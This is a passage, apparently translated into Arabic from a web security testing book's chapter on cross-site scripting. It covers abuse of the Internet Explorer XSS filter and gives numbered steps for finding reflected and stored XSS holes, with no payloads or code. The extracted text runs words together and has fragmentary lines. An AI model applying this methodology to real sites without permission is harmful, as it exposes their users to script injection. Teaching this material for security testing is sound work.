ﻛﻤﺎﻻﺣﻈﺖ ،ﺗﺘﺴﺎﻣﺢ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﻣﻊ ﺃﻧﻮﺍﻉ ﻣﺨﺘﻠﻔﺔ ﻣﻦ ﺍﻷﺣﺮﻑ ﻭﺍﻟﻘﻮﺍﻋﺪ ﺍﻟﻨﺤﻮﻳﺔ ﻏﻴﺮ -
ﻛﻤﺎﺗﻤﺖ ﻣﻨﺎﻗﺸﺘﻪ ﻓﻲ ﺍﻟﻔﺼﻞ ،10ﺗﺘﺼﺮﻑ ﺧﻮﺍﺩﻡ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺑﻄﺮﻕ ﻣﺨﺘﻠﻔﺔ ﻋﻨﺪﻣﺎ -
ﻓﻲﺍﻟﻤﻘﺎﺑﻞ ،ﻻ ﻳﺰﺍﻝ ﻣﺮُﺷﺢِّ IE XSSﻳﻌُﺎﻟﺞ ﻛﻞ ﻣﻌُﺎﻣﻞ ﻋﻠﻰ ﺣﺪﺓ ،ﺣﺘﻰ ﻟﻮ ﻛﺎﻥ ﻟﻬﻤﺎ ﻧﻔﺲ
ﺍﻻﺳﻢ.ﻫﺬﺍ ﺍﻻﺧﺘﻼﻑ ﻓﻲ ﺍﻟﺴﻠﻮﻙ ﻳﺴُﻬﻞِّ
481 ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ
ﺟﺮﺑﻬﺎ!
ﺛﺎﻟﺜﺎً،ﻳﻤُﻜﻦ ﺍﺳﺘﻐﻼﻝ ﻃﺮﻳﻘﺔ ﻣﺮُﺷﺢِّ ﻧﺼﻮﺹ ﺍﻟﺒﺮﺍﻣﺞ ﺍﻟﻨﺼﻴﺔ ﻓﻲ ﺍﺳﺘﺠﺎﺑﺎﺕ ﺍﻟﺘﻄﺒﻴﻖ ﻟﺸﻦ ّ
ﻫﺠﻤﺎﺕﻛﺎﻧﺖ ﻟﺘﻜﻮﻥ ﻣﺴُﺘﺤﻴﻠﺔ ﻟﻮﻻ ﺫﻟﻚ .ﻭﺍﻟﺴﺒﺐ ﺍﻟﺮﺉﻴﺴﻲ ﻭﺭﺍء ﺫﻟﻚ ﻫﻮ ﺃﻥ ﺍﻟﻤﺮُﺷﺢِّ ﻳﻌﻤﻞ
ﺑﺸﻜﻞ ٍﺳﻠﺒﻲ ،ﺣﻴﺚ ﻳﺒﺤﺚ ﻓﻘﻂ ﻋﻦ ﺍﻻﺭﺗﺒﺎﻃﺎﺕ ﺑﻴﻦ ﻣﺪُﺧﻼﺕ ﻭﻣﺨُﺮﺟﺎﺕ ﺍﻟﻨﺼﻮﺹ ﺍﻟﺒﺮﻣﺠﻴﺔ .ﻻ
ﻳﻤُﻜﻨﻪﻓﺤﺺ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺸﻜﻞ ٍﺗﻔﺎﻋﻠﻲ ﻟﻠﺘﺄﻛﺪ ﻣﻤﺎ ﺇﺫﺍ ﻛﺎﻥ ﻣﺪُﺧﻞ ﻣﻌُﻴﻦ ﻳﺴُﺒﺐ ﻣﺨُﺮﺟﺎﺕ ﻣﻌُﻴﻨﺔ.
ﻧﺘﻴﺠﺔ ًﻟﺬﻟﻚ ،ﻳﻤُﻜﻦ ﻟﻠﻤﻬُﺎﺟﻢ ﺍﺳﺘﻐﻼﻝ ﺍﻟﻤﺮُﺷﺢِّ ﻟﺘﺤﻴﻴﺪ ﻧﺺ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﺨﺎﺹ ﺑﺎﻟﺘﻄﺒﻴﻖ
ﺍﻟﺬﻱﻳﻈﻬﺮ ﺿﻤﻦ ﺍﻻﺳﺘﺠﺎﺑﺎﺕ ﺑﺸﻜﻞ ٍﺍﻧﺘﻘﺎﺉﻲ .ﺇﺫﺍ ﺃﺩﺭﺝ ﺍﻟﻤﻬُﺎﺟﻢ ﺟﺰءﺍً ﻣﻦ ﻧﺺ ﺑﺮﻣﺠﻲ ﻣﻮﺟﻮﺩ
ﺿﻤﻦﻗﻴﻤﺔ ﻣﻌُﺎﻣﻞ ﻃﻠﺐ ،ﻓﺈﻥ ﻣﺮُﺷﺢِّ IE XSSﻳﺮﻯ ﺃﻥ ﻧﻔﺲ ﻧﺺ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﻳﻈﻬﺮ ﻓﻲ
ﺍﻟﻄﻠﺐﻭﺍﻻﺳﺘﺠﺎﺑﺔ ،ﻭﻳﻌُﺪﻝّ ﺍﻟﻨﺺ ﻓﻲ ﺍﻻﺳﺘﺠﺎﺑﺔ ﻟﻤﻨﻊ ﺗﻨﻔﻴﺬﻩ.
ﺗﻢﺗﺤﺪﻳﺪ ﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ ﺍﻟﺘﻲ ﻳﺆﺩﻱ ﻓﻴﻬﺎ ﺗﺤﻴﻴﺪ ﻧﺺ ﺑﺮﻣﺠﻲ ﻣﻮﺟﻮﺩ ﺇﻟﻰ ﺗﻐﻴﻴﺮ ﺍﻟﺴﻴﺎﻕ ﺍﻟﻨﺤﻮﻱ
ﻟﺠﺰءﻻﺣﻖ ﻣﻦ ﺍﻻﺳﺘﺠﺎﺑﺔ ،ﻭﺍﻟﺬﻱ ﻳﺘﻀﻤﻦ ﺍﻧﻌﻜﺎﺳﺎً ﻟﻤﺪﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ .ﻗﺪ ﻳﻌﻨﻲ ﻫﺬﺍ ﺍﻟﺘﻐﻴﻴﺮ ﻓﻲ
ﺍﻟﺴﻴﺎﻕﺃﻥ ﺗﺼﻔﻴﺔ ﺍﻟﺘﻄﺒﻴﻖ ﻟﻠﻤﺪﺧﻼﺕ ﺍﻟﻤﻨﻌﻜﺴﺔ ﻟﻢ ﺗﻌﺪ ﻛﺎﻓﻴﺔ .ﻟﺬﻟﻚ ،ﻳﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻡ ﺍﻻﻧﻌﻜﺎﺱ
ﻟﺸﻦﻫﺠﻮﻡ XSSﺑﻄﺮﻳﻘﺔ ﻟﻢ ﺗﻜﻦ ﻣﻤﻜﻨﺔ ﺑﺪﻭﻥ ﺍﻟﺘﻐﻴﻴﺮﺍﺕ ﺍﻟﺘﻲ ﺃﺟﺮﺍﻫﺎ ﻣﺮُﺷﺢِّ XSSﻓﻲ ﻣﺘﺼﻔﺢ
ﺇﻧﺘﺮﻧﺖﺇﻛﺴﺒﻠﻮﺭﺭ .ﻭﻣﻊ ﺫﻟﻚ ،ﻓﺈﻥ ﺍﻟﺤﺎﻻﺕ ﺍﻟﺘﻲ ﻧﺸﺄ ﻓﻴﻬﺎ ﻫﺬﺍ ﻋﺎﺩﺓ ًﻣﺎ ﺗﻀﻤﻨﺖ ﺣﺎﻻﺕ ﺧﺎﺻﺔ ﺫﺍﺕ
ﻣﻴﺰﺍﺕﻏﻴﺮ ﻋﺎﺩﻳﺔ ،ﺃﻭ ﻛﺸﻔﺖ ﻋﻦ ﻋﻴﻮﺏ ﻓﻲ ﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻟﺴﺎﺑﻘﺔ ﻣﻦ ﻣﺮُﺷﺢِّ XSSﻓﻲ ﻣﺘﺼﻔﺢ
ﺇﻧﺘﺮﻧﺖﺇﻛﺴﺒﻠﻮﺭﺭ ،ﻭﺍﻟﺘﻲ ﺗﻢ ﺇﺻﻼﺣﻬﺎ ﻻﺣﻘﺎً.
ﺍﻷﻫﻢﻣﻦ ﺫﻟﻚ ،ﺃﻥ ﻗﺪﺭﺓ ﺍﻟﻤﻬﺎﺟﻢ ﻋﻠﻰ ﺗﻌﻄﻴﻞ ﺷﻴﻔﺮﺓ ﺗﻄﺒﻴﻖ ﻣﺎ ﺑﺸﻜﻞ ﺍﻧﺘﻘﺎﺉﻲ ﻳﻤﻜﻦ
ﺍﺳﺘﻐﻼﻟﻬﺎﻟﺸﻦ ﻫﺠﻤﺎﺕ ﻣﺨﺘﻠﻔﺔ ﺗﻤﺎﻣﺎً ﻣﻦ ﺧﻼﻝ ﺍﻟﺘﺪﺧﻞ ﻓﻲ ﺁﻟﻴﺎﺕ ﺍﻟﺘﺤﻜﻢ ﺍﻷﻣﻨﻴﺔ ﻟﻠﺘﻄﺒﻴﻖ .ﻭﻣﻦ
ﺍﻷﻣﺜﻠﺔﺍﻟﺸﺎﺉﻌﺔ ﻋﻠﻰ ﺫﻟﻚ ﺇﺯﺍﻟﺔ ﺷﻴﻔﺮﺓ ﻛﺴﺮ ﺍﻹﻃﺎﺭﺍﺕ ﺍﻟﺪﻓﺎﻋﻴﺔ )ﺍﻧﻈﺮ ﺍﻟﻔﺼﻞ ،(13ﻭﻟﻜﻦ ﻗﺪ ﺗﻈﻬﺮ
ﺃﻣﺜﻠﺔﺃﺧﺮﻯ ﻋﺪﻳﺪﺓ ﺗﺘﻌﻠﻖ ﺑﺸﻔﺮﺓ ﺧﺎﺻﺔ ﺑﺎﻟﺘﻄﺒﻴﻖ ﺗﺆﺩﻱ ﻣﻬﺎﻡ ﺃﻣﻨﻴﺔ ﺩﻓﺎﻋﻴﺔ ﺭﺉﻴﺴﻴﺔ ﻋﻠﻰ ﺟﺎﻧﺐ
ﺍﻟﻌﻤﻴﻞ.
ﺧﻄﻮﺍﺕﺍﻻﺧﺘﺮﺍﻕ
.١ﺑﻌﺪ ﺇﺭﺳﺎﻝ ﺳﻠﺴﻠﺔ ﻧﺼﻴﺔ ﻓﺮﻳﺪﺓ ﺇﻟﻰ ﺟﻤﻴﻊ ﺍﻟﻤﻮﺍﻗﻊ ﺍﻟﻤﻤﻜﻨﺔ ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ ،ﻳﺠﺐ ﻋﻠﻴﻚ
ﻣﺮﺍﺟﻌﺔﺟﻤﻴﻊ ﻣﺤﺘﻮﻳﺎﺕ ﺍﻟﺘﻄﺒﻴﻖ ﻭﻭﻇﺎﺉﻔﻪ ﻣﺮﺓ ﺃﺧﺮﻯ ﻟﺘﺤﺪﻳﺪ ﺃﻱ ﺣﺎﻻﺕ ﺗﻌُﺮﺽ ﻓﻴﻬﺎ ﻫﺬﻩ
ﺍﻟﺴﻠﺴﻠﺔﻓﻲ ﺍﻟﻤﺘﺼﻔﺢ .ﻗﺪ ﺗﻌُﺮﺽ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﺘﻲ ﻳﺘﺤﻜﻢ ﺑﻬﺎ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻭﺍﻟﻤﺪُﺧﻠﺔ ﻓﻲ ﻣﻮﻗﻊ
ﻭﺍﺣﺪ)ﻣﺜﻞ ﺣﻘﻞ ﺍﻻﺳﻢ ﻓﻲ ﺻﻔﺤﺔ ﺍﻟﻤﻌﻠﻮﻣﺎﺕ ﺍﻟﺸﺨﺼﻴﺔ( ﻓﻲ ﺃﻣﺎﻛﻦ ﻣﺘﻌﺪﺩﺓ ﻓﻲ ﺍﻟﺘﻄﺒﻴﻖ) .
ﻋﻠﻰﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﻗﺪ ﺗﻜﻮﻥ ﻓﻲ ﺍﻟﺼﻔﺤﺔ ﺍﻟﺮﺉﻴﺴﻴﺔ ﻟﻠﻤﺴﺘﺨﺪﻡ ،ﺃﻭ ﻓﻲ ﻗﺎﺉﻤﺔ
ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦﺍﻟﻤﺴﺠﻠﻴﻦ ،ﺃﻭ ﻓﻲ ﻋﻨﺎﺻﺮ ﺳﻴﺮ ﺍﻟﻌﻤﻞ ﻣﺜﻞ ﺍﻟﻤﻬﺎﻡ ،ﺃﻭ ﻓﻲ ﻗﻮﺍﺉﻢ ﺟﻬﺎﺕ
ﺍﺗﺼﺎﻝﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻵﺧﺮﻳﻦ ،ﺃﻭ ﻓﻲ ﺍﻟﺮﺳﺎﺉﻞ ﺃﻭ ﺍﻷﺳﺉﻠﺔ ﺍﻟﺘﻲ ﻧﺸﺮﻫﺎ ﺍﻟﻤﺴﺘﺨﺪﻡ ،ﺃﻭ ﻓﻲ
ﺳﺠﻼﺕﺍﻟﺘﻄﺒﻴﻖ( .ﻗﺪ ﻳﺨﻀﻊ ﻛﻞ ﻇﻬﻮﺭ ﻟﻠﺴﻠﺴﻠﺔ ﻟﻤﺮﺷﺤﺎﺕ ﺣﻤﺎﻳﺔ ﻣﺨﺘﻠﻔﺔ ،ﻭﺑﺎﻟﺘﺎﻟﻲ ﻳﺠﺐ
ﻓﺤﺼﻪﺑﺸﻜﻞ ﻣﻨﻔﺼﻞ.
.٢ﺇﻥ ﺃﻣﻜﻦ ،ﻳﺠﺐ ﻣﺮﺍﺟﻌﺔ ﺟﻤﻴﻊ ﺃﺟﺰﺍء ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﺘﻲ ﻳﻤﻜﻦ ﻟﻠﻤﺴﺆﻭﻟﻴﻦ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻴﻬﺎ ﻟﺘﺤﺪﻳﺪ
ﻇﻬﻮﺭﺃﻱ ﺑﻴﺎﻧﺎﺕ ﻳﻤﻜﻦ ﻟﻠﻤﺴﺘﺨﺪﻣﻴﻦ ﻏﻴﺮ ﺍﻹﺩﺍﺭﻳﻴﻦ ﺍﻟﺘﺤﻜﻢ ﻓﻴﻬﺎ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﻗﺪ
ﻳﺴﻤﺢﺍﻟﺘﻄﺒﻴﻖ ﻟﻠﻤﺴﺆﻭﻟﻴﻦ ﺑﻤﺮﺍﺟﻌﺔ ﻣﻠﻔﺎﺕ ﺍﻟﺴﺠﻞ ﻓﻲ ﺍﻟﻤﺘﺼﻔﺢ .ﻣﻦ ﺍﻟﺸﺎﺉﻊ ﺟﺪﺍً ﺃﻥ
ﻳﺤﺘﻮﻱﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻟﻮﻇﺎﺉﻒ ﻋﻠﻰ ﺛﻐﺮﺍﺕ XSSﺍﻟﺘﻲ ﻳﻤﻜﻦ ﻟﻠﻤﻬﺎﺟﻢ ﺍﺳﺘﻐﻼﻟﻬﺎ ﻋﻦ ﻃﺮﻳﻖ
ﺇﻧﺸﺎءﺇﺩﺧﺎﻻﺕ ﺳﺠﻞ ﺗﺤﺘﻮﻱ ﻋﻠﻰ HTMLﺿﺎﺭ.
.٣ﻋﻨﺪ ﺇﺭﺳﺎﻝ ﺳﻠﺴﻠﺔ ﺍﺧﺘﺒﺎﺭ ﺇﻟﻰ ﻛﻞ ﻣﻮﻗﻊ ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ ،ﻗﺪ ﻻ ﻳﻜﻔﻲ ﺃﺣﻴﺎﻧﺎً ﻧﺸﺮﻫﺎ ﻛﻤﻌﻠﻤﺔ
ﻓﻲﻛﻞ ﺻﻔﺤﺔ .ﺗﺘﻄﻠﺐ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﻭﻇﺎﺉﻒ ﺍﻟﺘﻄﺒﻴﻖ ﺍﺗﺒﺎﻉ ﻋﺪﺓ ﻣﺮﺍﺣﻞ ﻗﺒﻞ ﺗﺨﺰﻳﻦ ﺍﻟﺒﻴﺎﻧﺎﺕ
ﺍﻟﻤﺮﺳﻠﺔﻓﻌﻠﻴﺎً .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﻏﺎﻟﺒﺎً ﻣﺎ ﺗﺘﻀﻤﻦ ﺇﺟﺮﺍءﺍﺕ ﻣﺜﻞ ﺗﺴﺠﻴﻞ ﻣﺴﺘﺨﺪﻡ
ﺟﺪﻳﺪ،ﻭﻃﻠﺐ ﺷﺮﺍء ،ﻭﺗﺤﻮﻳﻞ ﺃﻣﻮﺍﻝ ،ﺇﺭﺳﺎﻝ ﻋﺪﺓ ﻃﻠﺒﺎﺕ ﻣﺨﺘﻠﻔﺔ ﺑﺘﺴﻠﺴﻞ ﻣﺤﺪﺩ .ﻟﺘﺠﻨﺐ
ﺇﻏﻔﺎﻝﺃﻱ ﺛﻐﺮﺍﺕ ﺃﻣﻨﻴﺔ ،ﻣﻦ ﺍﻟﻀﺮﻭﺭﻱ ﻣﺘﺎﺑﻌﺔ ﻛﻞ ﺣﺎﻟﺔ ﺍﺧﺘﺒﺎﺭ ﺣﺘﻰ ﺍﻛﺘﻤﺎﻟﻬﺎ.
.٤ﻋﻨﺪ ﺍﻟﺒﺤﺚ ﻋﻦ ﺛﻐﺮﺍﺕ XSSﺍﻟﻤﻨﻌﻜﺴﺔ ،ﻋﻠﻴﻚ ﺩﺭﺍﺳﺔ ﺟﻤﻴﻊ ﺟﻮﺍﻧﺐ ﻃﻠﺐ ﺍﻟﻀﺤﻴﺔ ﺍﻟﺘﻲ
ﻳﻤﻜﻨﻚﺍﻟﺘﺤﻜﻢ ﺑﻬﺎ .ﻳﺸﻤﻞ ﺫﻟﻚ ﺟﻤﻴﻊ ﻣﻌﻠﻤﺎﺕ ﺍﻟﻄﻠﺐ ،ﻭﻛﻞ ﺭﺃﺱ ،HTTPﻭﻣﺎ ﺇﻟﻰ ﺫﻟﻚ.
ﻓﻲﺣﺎﻟﺔ ﺛﻐﺮﺍﺕ XSSﺍﻟﻤﺨﺰﻧﺔ ،ﻳﺠﺐ ﻋﻠﻴﻚ ﺃﻳﻀﺎً ﻓﺤﺺ ﺃﻱ ﻗﻨﻮﺍﺕ ﺧﺎﺭﺝ ﺍﻟﻨﻄﺎﻕ ﻳﺴﺘﻘﺒﻞ
ﺍﻟﺘﻄﺒﻴﻖﻣﻦ ﺧﻼﻟﻬﺎ ﻭﻳﻌﺎﻟﺞ ﺍﻟﻤﺪﺧﻼﺕ ﺍﻟﺘﻲ ﻳﻤﻜﻨﻚ ﺍﻟﺘﺤﻜﻢ ﺑﻬﺎ .ﺗﻌُﺪ ّﻫﺬﻩ ﺍﻟﻘﻨﻮﺍﺕ ﻧﺎﻗﻼﺕ
ﻫﺠﻮﻡﻣﻨﺎﺳﺒﺔ ﻹﻃﻼﻕ ﻫﺠﻤﺎﺕ XSSﺍﻟﻤﺨﺰﻧﺔ .ﺭﺍﺟﻊ ﻧﺘﺎﺉﺞ ﺗﻤﺎﺭﻳﻦ ﺗﻌﻴﻴﻦ ﺗﻄﺒﻴﻘﻚ )ﺍﻧﻈﺮ
ﺍﻟﻔﺼﻞ (٤ﻟﺘﺤﺪﻳﺪ ﻛﻞ ﻣﻨﻄﻘﺔ ﻫﺠﻮﻡ ﻣﺤﺘﻤﻠﺔ.
.٥ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻳﺴﻤﺢ ﺑﺘﺤﻤﻴﻞ ﺍﻟﻤﻠﻔﺎﺕ ﻭﺗﻨﺰﻳﻠﻬﺎ ،ﻓﺎﻓﺤﺺ ﻫﺬﻩ ﺍﻟﻮﻇﻴﻔﺔ ﺩﺍﺉﻤﺎً ﺑﺤﺜﺎً
ﻋﻦﻫﺠﻤﺎﺕ XSSﺍﻟﻤﺨﺰﻧﺔ .ﺳﺘﺘﻢ ﻣﻨﺎﻗﺸﺔ ﺍﻟﺘﻘﻨﻴﺎﺕ ﺍﻟﺘﻔﺼﻴﻠﻴﺔ ﻻﺧﺘﺒﺎﺭ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ
ﺍﻟﻮﻇﺎﺉﻒﻻﺣﻘﺎً ﻓﻲ ﻫﺬﺍ ﺍﻟﻔﺼﻞ.
.٦ﻓﻜﺮّ ﻣﻠﻴﺎً ﻓﻲ ﺃﻱ ﻭﺳﻴﻠﺔ ﺃﺧﺮﻯ ﻳﻤُﻜﻦ ﻣﻦ ﺧﻼﻟﻬﺎ ﺗﺨﺰﻳﻦ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﺘﻲ ﺗﺘﺤﻜﻢ ﺑﻬﺎ ﺑﻮﺍﺳﻄﺔ
ﺍﻟﺘﻄﺒﻴﻖﻭﻋﺮﺿﻬﺎ ﻋﻠﻰ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻵﺧﺮﻳﻦ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﺇﺫﺍ ﻋﺮﺿﺖ ﻭﻇﻴﻔﺔ
ﺍﻟﺒﺤﺚﻓﻲ ﺍﻟﺘﻄﺒﻴﻖ ﻗﺎﺉﻤﺔ ًﺑﻌﻨﺎﺻﺮ ﺍﻟﺒﺤﺚ ﺍﻟﺸﺎﺉﻌﺔ ،ﻓﻘﺪ ﺗﺘﻤﻜﻦ ﻣﻦ ﺇﺩﺧﺎﻝ ﺣﻤﻮﻟﺔ XSS
ﻣﺨُﺰﻧّﺔﺑﺎﻟﺒﺤﺚ ﻋﻨﻬﺎ ﻣﺮﺍﺕ ٍﻋﺪﻳﺪﺓ ،ﻣﻊ ﺃﻥ ﻭﻇﻴﻔﺔ ﺍﻟﺒﺤﺚ ﺍﻷﺳﺎﺳﻴﺔ ﻧﻔﺴﻬﺎ ﺗﻌُﺎﻟﺞ ﻣﺪُﺧﻼﺗﻚ
ﺑﺄﻣﺎﻥ.
483 ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ
ﺑﻌﺪﺗﺤﺪﻳﺪ ﺟﻤﻴﻊ ﺍﻟﺤﺎﻻﺕ ﺍﻟﺘﻲ ﻳﺨُﺰﻥّ ﻓﻴﻬﺎ ﺍﻟﺘﻄﺒﻴﻖ ﺑﻴﺎﻧﺎﺕ ﻗﺎﺑﻠﺔ ﻟﻠﺘﺤﻜﻢ ﻣﻦ ﻗﺒِﻞ ﺍﻟﻤﺴﺘﺨﺪﻡ،
ﺛﻢﻳﻌُﺎﺩ ﻋﺮﺿﻬﺎ ﻻﺣﻘﺎً ﻋﻠﻰ ﺍﻟﻤﺘﺼﻔﺢ ،ﻳﺠﺐ ﻋﻠﻴﻚ ﺍﺗﺒﺎﻉ ﻧﻔﺲ ﺍﻟﻌﻤﻠﻴﺔ ﺍﻟﻤﻮﺿﺤﺔ ﺳﺎﺑﻘﺎً ﻟﻠﺘﺤﻘﻖ
ﻣﻦﺛﻐﺮﺍﺕ XSSﺍﻟﻤﻨُﻌﻜﺴﺔ ﺍﻟﻤﺤُﺘﻤﻠﺔ .ﺃﻱ ﺗﺤﺪﻳﺪ ﺍﻟﻤﺪُﺧﻼﺕ ﺍﻟﻤﻄﻠﻮﺑﺔ ﻟﺘﻀﻤﻴﻦ JavaScriptﺻﺎﻟﺢ
ﺿﻤﻦ HTMLﺍﻟﻤﺤُﻴﻂ ،ﺛﻢ ﻣﺤﺎﻭﻟﺔ ﺗﺠﺎﻭﺯ ﺃﻱ ﻣﺮُﺷﺤّﺎﺕ ﺗﻌُﻴﻖ ﻣﻌﺎﻟﺠﺔ ﺣﻤﻮﻟﺔ ﺍﻟﻬﺠﻮﻡ.
ﻧﺼﻴﺤﺔﻋﻨﺪ ﺍﻟﺒﺤﺚ ﻋﻦ ﺛﻐﺮﺍﺕ XSSﺍﻟﻤﻨﻌﻜﺴﺔ ،ﻳﺴﻬﻞ ﺗﺤﺪﻳﺪ ﻣﻌﻠﻤﺎﺕ ﺍﻟﻄﻠﺐ ﺍﻟﺘﻲ ﻳﺤُﺘﻤﻞ ﺃﻥ
ﺗﻜﻮﻥﻋﺮﺿﺔ ﻟﻠﺨﻄﺮ .ﻳﻤﻜﻨﻚ ﺍﺧﺘﺒﺎﺭ ﻣﻌﻠﻤﺔ ﻭﺍﺣﺪﺓ ﻓﻲ ﻛﻞ ﻣﺮﺓ ﻭﻣﺮﺍﺟﻌﺔ ﻛﻞ ﺍﺳﺘﺠﺎﺑﺔ ﺑﺤﺜﺎً ﻋﻦ ﺃﻱ
ﻇﻬﻮﺭﻟﻤﺪﺧﻼﺗﻚ .ﻣﻊ ﺫﻟﻚ ،ﻗﺪ ﻳﻜﻮﻥ ﻫﺬﺍ ﺍﻷﻣﺮ ﺃﺻﻌﺐ ﻣﻊ ﺛﻐﺮﺍﺕ XSSﺍﻟﻤﺨﺰﻧﺔ .ﺇﺫﺍ ﺃﺭﺳﻠﺖ ﻧﻔﺲ
ﺳﻠﺴﻠﺔﺍﻻﺧﺘﺒﺎﺭ ﻟﻜﻞ ﻣﻌﻠﻤﺔ ﺇﻟﻰ ﻛﻞ ﺻﻔﺤﺔ ،ﻓﻘﺪ ﺗﺠﺪ ﻫﺬﻩ ﺍﻟﺴﻠﺴﻠﺔ ﺗﻈﻬﺮ ﻣﺮﺓ ﺃﺧﺮﻯ ﻓﻲ ﻣﻮﺍﻗﻊ
ﻣﺘﻌﺪﺩﺓﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ .ﻗﺪ ﻻ ﻳﻜﻮﻥ ﻣﻦ ﺍﻟﻮﺍﺿﺢ ﻣﻦ ﺍﻟﺴﻴﺎﻕ ﺃﻱ ﻣﻌﻠﻤﺔ ﻣﺴﺆﻭﻟﺔ ﻋﻦ ﺍﻟﻈﻬﻮﺭ ﺑﺪﻗﺔ.
ﻟﺘﺠﻨﺐﻫﺬﻩ ﺍﻟﻤﺸﻜﻠﺔ ،ﻳﻤﻜﻨﻚ ﺇﺭﺳﺎﻝ ﺳﻠﺴﻠﺔ ﺍﺧﺘﺒﺎﺭ ﻣﺨﺘﻠﻔﺔ ﻟﻜﻞ ﻣﻌﻠﻤﺔ ﻋﻨﺪ ﺍﻟﺒﺤﺚ ﻋﻦ ﺛﻐﺮﺍﺕ
XSSﺍﻟﻤﺨﺰﻧﺔ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﻳﻤﻜﻨﻚ ﺭﺑﻂ ﺳﻠﺴﻠﺘﻚ ﺍﻟﻔﺮﻳﺪﺓ ﺑﺎﺳﻢ ﺍﻟﺤﻘﻞ ﺍﻟﺬﻱ ﺗﺮُﺳﻞ ﺇﻟﻴﻪ.
ﻛﻤﺎﺫﻛﺮﻧﺎ ﺳﺎﺑﻘﺎً ،ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﺒﺮﻳﺪ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ ﻣﻌﺮﺿﺔ ﺑﻄﺒﻴﻌﺘﻬﺎ ﻟﺨﻄﺮ ﺍﺣﺘﻮﺍء ﺛﻐﺮﺍﺕ XSSﻣﺨُﺰﻧّﺔ،
ﻷﻧﻬﺎﺗﺘﻀﻤﻦ ﻣﺤﺘﻮﻯ HTMLﻣﺴُﺘﻠﻤَﺎً ﻣﺒﺎﺷﺮﺓ ًﻣﻦ ﺟﻬﺎﺕ ﺧﺎﺭﺟﻴﺔ ﺩﺍﺧﻞ ﺻﻔﺤﺎﺕ ﺍﻟﺘﻄﺒﻴﻖ
ﺍﻟﻤﻌُﺮﺿَﺔﻟﻠﻤﺴﺘﺨﺪﻣﻴﻦ .ﻻﺧﺘﺒﺎﺭ ﻫﺬﻩ ﺍﻟﻮﻇﻴﻔﺔ ،ﻳﻔُﻀﻞّ ﺃﻥ ﺗﺤﺼﻞ ﻋﻠﻰ ﺣﺴﺎﺏ ﺑﺮﻳﺪ ﺇﻟﻜﺘﺮﻭﻧﻲ
ﺧﺎﺹﺑﻚ ﻋﻠﻰ ﺍﻟﺘﻄﺒﻴﻖ ،ﻭﺃﻥ ﺗﺮُﺳﻞِ ﺭﺳﺎﺉﻞ ﺑﺮﻳﺪ ﺇﻟﻜﺘﺮﻭﻧﻲ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺛﻐﺮﺍﺕ XSSﻣﺨُﺘﻠﻔﺔ ،ﻭﺃﻥ
ﺗﻌُﺎﻳﻦﻛﻞ ﺭﺳﺎﻟﺔ ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ ﻟﺘﺤﺪﻳﺪ ﻣﺪﻯ ﻧﺠﺎﺡ ﺃﻱ ٍّﻣﻨﻬﺎ.
ﻷﺩﺍءﻫﺬﻩ ﺍﻟﻤﻬﻤﺔ ﺑﺪﻗﺔ ،ﻋﻠﻴﻚ ﺇﺭﺳﺎﻝ ﺟﻤﻴﻊ ﺃﻧﻮﺍﻉ ﻣﺤﺘﻮﻯ HTMLﻏﻴﺮ ﺍﻟﻤﺄﻟﻮﻑ ﺿﻤﻦ ﺭﺳﺎﺉﻞ
ﺍﻟﺒﺮﻳﺪﺍﻹﻟﻜﺘﺮﻭﻧﻲ ،ﻛﻤﺎ ﻭﺻﻔﻨﺎ ﻻﺧﺘﺒﺎﺭ ﺗﺠﺎﻭﺯﺍﺕ ﻣﺮﺷﺤﺎﺕ ﺍﻹﺩﺧﺎﻝ .ﺇﺫﺍ ﺍﻗﺘﺼﺮﺕ ﻋﻠﻰ ﺍﺳﺘﺨﺪﺍﻡ
